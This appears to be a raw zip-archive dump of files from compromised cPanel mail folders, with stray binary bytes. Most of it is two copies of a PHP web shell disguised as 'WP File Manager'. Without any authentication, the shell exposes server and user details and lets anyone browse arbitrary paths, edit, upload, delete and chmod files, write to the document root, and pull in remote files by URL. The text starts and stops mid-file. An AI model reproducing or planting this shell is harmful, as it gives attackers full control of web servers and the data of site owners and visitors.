'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@pelasgus.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]«×Á©BB#treatment@drsupernova.com/.metadatanu"º] €[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR PK“&{]„N9³§Ë§Ë treatment@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', 